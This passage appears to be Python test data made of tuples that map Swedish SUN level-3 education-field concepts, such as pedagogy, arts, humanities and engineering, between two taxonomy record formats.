'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Läs- och skrivinlärning för vuxna', 'concept_id': 'K4t9_4gZ_MgJ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'VQPP_GZg_xkU', 'preferred_label': 'Personlig utveckling', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Personlig utveckling', 'concept_id': 'VQPP_GZg_xkU', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'NpSa_78c_ma1', 'preferred_label': 'Pedagogik och lärarutbildning, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Pedagogik och lärarutbildning, allmän utbildning', 'concept_id': 'NpSa_78c_ma1', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'vp9A_NEv_dbU', 'preferred_label': 'Pedagogik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Pedagogik', 'concept_id': 'vp9A_NEv_dbU', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'ybAL_uBD_x7v', 'preferred_label': 'Lärarutbildning för förskola och fritidsverksamhet', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Lärarutbildning för förskola och fritidsverksamhet', 'concept_id': 'ybAL_uBD_x7v', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'DGWJ_xnW_S3L', 'preferred_label': 'Lärarutbildning för grundskolans tidiga åldrar', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Lärarutbildning för grundskolans tidiga åldrar', 'concept_id': 'DGWJ_xnW_S3L', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'VkYx_GTn_tWF', 'preferred_label': 'Ämneslärarutbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Ämneslärarutbildning', 'concept_id': 'VkYx_GTn_tWF', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '1wAW_w4s_Gif', 'preferred_label': 'Lärarutbildning i yrkesämne och praktisk-estetiska ämnen', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Lärarutbildning i yrkesämne och praktisk-estetiska ämnen', 'concept_id': '1wAW_w4s_Gif', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'F3Zd_KX4_orz', 'preferred_label': 'Pedagogik och lärarutbildning, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Pedagogik och lärarutbildning, övrig och ospecificerad utbildning', 'concept_id': 'F3Zd_KX4_orz', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '3oX1_N64_PLW', 'preferred_label': 'Konst och media, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Konst och media, allmän utbildning', 'concept_id': '3oX1_N64_PLW', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'vd5y_Ppm_TuU', 'preferred_label': 'Bild- och formkonst', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Bild- och formkonst', 'concept_id': 'vd5y_Ppm_TuU', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'WXYK_9T2_unn', 'preferred_label': 'Musik, dans och dramatik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Musik, dans och dramatik', 'concept_id': 'WXYK_9T2_unn', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '8Eas_LAZ_wW7', 'preferred_label': 'Medieproduktion', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Medieproduktion', 'concept_id': '8Eas_LAZ_wW7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'zHeT_FtE_yXn', 'preferred_label': 'Formgivning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Formgivning', 'concept_id': 'zHeT_FtE_yXn', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'UX9d_rbD_FT7', 'preferred_label': 'Konsthantverk', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Konsthantverk', 'concept_id': 'UX9d_rbD_FT7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '4U55_wx6_Q3u', 'preferred_label': 'Konst och media, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Konst och media, övrig och ospecificerad utbildning', 'concept_id': '4U55_wx6_Q3u', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'bHms_Q4W_uQo', 'preferred_label': 'Humaniora, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Humaniora, allmän utbildning', 'concept_id': 'bHms_Q4W_uQo', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '8SMP_CNZ_U75', 'preferred_label': 'Religion', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Religion', 'concept_id': '8SMP_CNZ_U75', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '4jr1_KRN_wpq', 'preferred_label': 'Främmande språk och språkvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Främmande språk och språkvetenskap', 'concept_id': '4jr1_KRN_wpq', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'gw6Z_hLp_Hvk', 'preferred_label': 'Svenska och litteraturvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Svenska och litteraturvetenskap', 'concept_id': 'gw6Z_hLp_Hvk', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'RnPd_5mc_E9G', 'preferred_label': 'Historia och arkeologi', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Historia och arkeologi', 'concept_id': 'RnPd_5mc_E9G', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'iLjG_2Q5_Bxb', 'preferred_label': 'Filosofi och logik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Filosofi och logik', 'concept_id': 'iLjG_2Q5_Bxb', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '7kiw_F1A_kd5', 'preferred_label': 'Humaniora, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Humaniora, övrig och ospecificerad utbildning', 'concept_id': '7kiw_F1A_kd5', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'cAKc_bo8_vZa', 'preferred_label': 'Samhälls- och beteendevetenskap, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Samhälls- och beteendevetenskap, allmän utbildning', 'concept_id': 'cAKc_bo8_vZa', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '2tSR_mug_Ero', 'preferred_label': 'Psykologi', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Psykologi', 'concept_id': '2tSR_mug_Ero', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'zRKE_r3q_U1s', 'preferred_label': 'Sociologi, etnologi och kulturgeografi', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Sociologi, etnologi och kulturgeografi', 'concept_id': 'zRKE_r3q_U1s', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'RuTA_kv2_NAp', 'preferred_label': 'Statsvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Statsvetenskap', 'concept_id': 'RuTA_kv2_NAp', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'riPZ_vW8_Dep', 'preferred_label': 'Nationalekonomi och ekonomisk historia', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Nationalekonomi och ekonomisk historia', 'concept_id': 'riPZ_vW8_Dep', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'LXUe_hM4_nXf', 'preferred_label': 'Samhälls- och beteendevetenskap, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Samhälls- och beteendevetenskap, övrig och ospecificerad utbildning', 'concept_id': 'LXUe_hM4_nXf', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'CYsz_5Ck_v1n', 'preferred_label': 'Journalistik och information, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Journalistik och information, allmän utbildning', 'concept_id': 'CYsz_5Ck_v1n', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'FeRX_Xc2_8b7', 'preferred_label': 'Journalistik och medievetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Journalistik och medievetenskap', 'concept_id': 'FeRX_Xc2_8b7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '6d9j_JKg_wun', 'preferred_label': 'Biblioteks- och dokumentationsvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Biblioteks- och dokumentationsvetenskap', 'concept_id': '6d9j_JKg_wun', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'LhAm_khy_7P7', 'preferred_label': 'Journalistik och information, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Journalistik och information, övrig och ospecificerad utbildning', 'concept_id': 'LhAm_khy_7P7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'uCs9_xRZ_jgp', 'preferred_label': 'Företagsekonomi, handel och administration, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Företagsekonomi, handel och administration, allmän utbildning', 'concept_id': 'uCs9_xRZ_jgp', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'VkhU_pFB_PXA', 'preferred_label': 'Inköp, försäljning och distribution', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Inköp, försäljning och distribution', 'concept_id': 'VkhU_pFB_PXA', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'myT2_Uu2_Xbr', 'preferred_label': 'Marknadsföring', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Marknadsföring', 'concept_id': 'myT2_Uu2_Xbr', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'Ta9V_DMN_999', 'preferred_label': 'Bank, försäkring och finansiering', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Bank, försäkring och finansiering', 'concept_id': 'Ta9V_DMN_999', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'MbeC_Ty2_YfL', 'preferred_label': 'Redovisning och beskattning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Redovisning och beskattning', 'concept_id': 'MbeC_Ty2_YfL', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'eXzj_Jdo_xGQ', 'preferred_label': 'Ledning och administration', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Ledning och administration', 'concept_id': 'eXzj_Jdo_xGQ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'MJKe_ubg_wms', 'preferred_label': 'Kontorsservice och sekreterartjänster', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Kontorsservice och sekreterartjänster', 'concept_id': 'MJKe_ubg_wms', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'YTUT_rQj_u5V', 'preferred_label': 'Arbetsplatsrelaterad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Arbetsplatsrelaterad utbildning', 'concept_id': 'YTUT_rQj_u5V', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'AVZz_6QN_qyM', 'preferred_label': 'Företagsekonomi, handel och administration, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Företagsekonomi, handel och administration, övrig och ospecificerad utbildning', 'concept_id': 'AVZz_6QN_qyM', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'yrf9_Zzw_FLx', 'preferred_label': 'Juridik och rättsvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Juridik och rättsvetenskap', 'concept_id': 'yrf9_Zzw_FLx', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '3q44_gdP_4fx', 'preferred_label': 'Biologi och miljövetenskap, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Biologi och miljövetenskap, allmän utbildning', 'concept_id': '3q44_gdP_4fx', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'tfmL_QCu_mdD', 'preferred_label': 'Biologi och biokemi', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Biologi och biokemi', 'concept_id': 'tfmL_QCu_mdD', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'cs1N_Zp4_KgB', 'preferred_label': 'Miljövetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Miljövetenskap', 'concept_id': 'cs1N_Zp4_KgB', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'qa2V_GWE_bnK', 'preferred_label': 'Miljövård och miljöskydd', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Miljövård och miljöskydd', 'concept_id': 'qa2V_GWE_bnK', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'K8FW_Fct_zJU', 'preferred_label': 'Naturvård och djurskydd', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Naturvård och djurskydd', 'concept_id': 'K8FW_Fct_zJU', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'sTMt_rKA_EHs', 'preferred_label': 'Biologi och miljövetenskap, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Biologi och miljövetenskap, övrig och ospecificerad utbildning', 'concept_id': 'sTMt_rKA_EHs', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'bpAf_YP9_qRf', 'preferred_label': 'Fysik, kemi och geovetenskap, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Fysik, kemi och geovetenskap, allmän utbildning', 'concept_id': 'bpAf_YP9_qRf', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'NMwf_TFi_j57', 'preferred_label': 'Fysik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Fysik', 'concept_id': 'NMwf_TFi_j57', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'vpZY_6iv_NPL', 'preferred_label': 'Kemi', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Kemi', 'concept_id': 'vpZY_6iv_NPL', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'R9em_jvo_Rge', 'preferred_label': 'Geovetenskap och naturgeografi', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Geovetenskap och naturgeografi', 'concept_id': 'R9em_jvo_Rge', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'ZjBK_44x_xkr', 'preferred_label': 'Fysik, kemi och geovetenskap, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Fysik, kemi och geovetenskap, övrig och ospecificerad utbildning', 'concept_id': 'ZjBK_44x_xkr', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'RqCj_yhw_GFc', 'preferred_label': 'Matematik och naturvetenskap, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Matematik och naturvetenskap, allmän utbildning', 'concept_id': 'RqCj_yhw_GFc', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'WcVD_tdd_7mN', 'preferred_label': 'Matematik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Matematik', 'concept_id': 'WcVD_tdd_7mN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'VDZC_YeP_k1P', 'preferred_label': 'Statistik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Statistik', 'concept_id': 'VDZC_YeP_k1P', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'vQdy_ySp_GzS', 'preferred_label': 'Matematik och naturvetenskap, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Matematik och naturvetenskap, övrig och ospecificerad utbildning', 'concept_id': 'vQdy_ySp_GzS', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'jfpH_VdC_DM3', 'preferred_label': 'Informations- och kommunikationsteknik (IKT), allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Informations- och kommunikationsteknik (IKT), allmän utbildning', 'concept_id': 'jfpH_VdC_DM3', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'Ai2t_uy2_1KN', 'preferred_label': 'Datavetenskap och systemvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Datavetenskap och systemvetenskap', 'concept_id': 'Ai2t_uy2_1KN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'A2fS_GsT_bSC', 'preferred_label': 'Datoranvändning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Datoranvändning', 'concept_id': 'A2fS_GsT_bSC', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'kXWz_6uh_krq', 'preferred_label': 'Informations- och kommunikationsteknik (IKT), övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Informations- och kommunikationsteknik (IKT), övrig och ospecificerad utbildning', 'concept_id': 'kXWz_6uh_krq', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'LDWD_zzm_jeY', 'preferred_label': 'Teknik och teknisk industri, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Teknik och teknisk industri, allmän utbildning', 'concept_id': 'LDWD_zzm_jeY', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'GRcU_Soh_rg5', 'preferred_label': 'Maskinteknik och verkstadsteknik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Maskinteknik och verkstadsteknik', 'concept_id': 'GRcU_Soh_rg5', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'wuXX_ZG5_31i', 'preferred_label': 'Energi- och elektroteknik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Energi- och elektroteknik', 'concept_id': 'wuXX_ZG5_31i', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'fDye_THC_7i7', 'preferred_label': 'Elektronik, datateknik och automation', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Elektronik, datateknik och automation', 'concept_id': 'fDye_THC_7i7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '2rjL_bUS_fk3', 'preferred_label': 'Kemi- och bioteknik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Kemi- och bioteknik', 'concept_id': '2rjL_bUS_fk3', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '4VCJ_KsY_p5G', 'preferred_label': 'Fordons- och farkostteknik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Fordons- och farkostteknik', 'concept_id': '4VCJ_KsY_p5G', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'qe9k_qAm_uCN', 'preferred_label': 'Industriell ekonomi och organisation', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Industriell ekonomi och organisation', 'concept_id': 'qe9k_qAm_uCN', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'kyMw_LZF_AGG', 'preferred_label': 'Miljöteknik och miljökontroll', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Miljöteknik och miljökontroll', 'concept_id': 'kyMw_LZF_AGG', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'ex8F_PzU_aqT', 'preferred_label': 'Teknik och teknisk industri, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Teknik och teknisk industri, övrig och ospecificerad utbildning', 'concept_id': 'ex8F_PzU_aqT', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'HNek_Sui_NhZ', 'preferred_label': 'Material och tillverkning, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Material och tillverkning, allmän utbildning', 'concept_id': 'HNek_Sui_NhZ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'fLKd_6Dg_ohE', 'preferred_label': 'Tillverkning och hantering av livsmedel', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Tillverkning och hantering av livsmedel', 'concept_id': 'fLKd_6Dg_ohE', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'MSyp_oyY_5ZE', 'preferred_label': 'Tillverkning av textilier, konfektion och lädervaror', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Tillverkning av textilier, konfektion och lädervaror', 'concept_id': 'MSyp_oyY_5ZE', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'WsF2_1YU_i5R', 'preferred_label': 'Tillverkning av produkter av trä, papper, glas, porslin och plast', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Tillverkning av produkter av trä, papper, glas, porslin och plast', 'concept_id': 'WsF2_1YU_i5R', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'Bth1_2AW_wKh', 'preferred_label': 'Berg- och mineralteknik', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Berg- och mineralteknik', 'concept_id': 'Bth1_2AW_wKh', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'jMGW_KY7_NCA', 'preferred_label': 'Material och tillverkning, övrig och ospecificerad utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Material och tillverkning, övrig och ospecificerad utbildning', 'concept_id': 'jMGW_KY7_NCA', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'YXPg_MRw_bpB', 'preferred_label': 'Samhällsbyggnad och byggnadsteknik, allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Samhällsbyggnad och byggnadsteknik, allmän utbildning', 'concept_id': 'YXPg_MRw_bpB', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': '5v1g_CoF_VE6', 'preferred_label': 'Samhällsbyggnad och arkitektur', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Samhällsbyggnad och arkitektur', 'concept_id': '5v1g_CoF_VE6', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'TbLq_8FH_cNN', 'preferred_label': 'Byggnadsteknik och anläggningsteknik', 'deprecated_legacy_id': None},
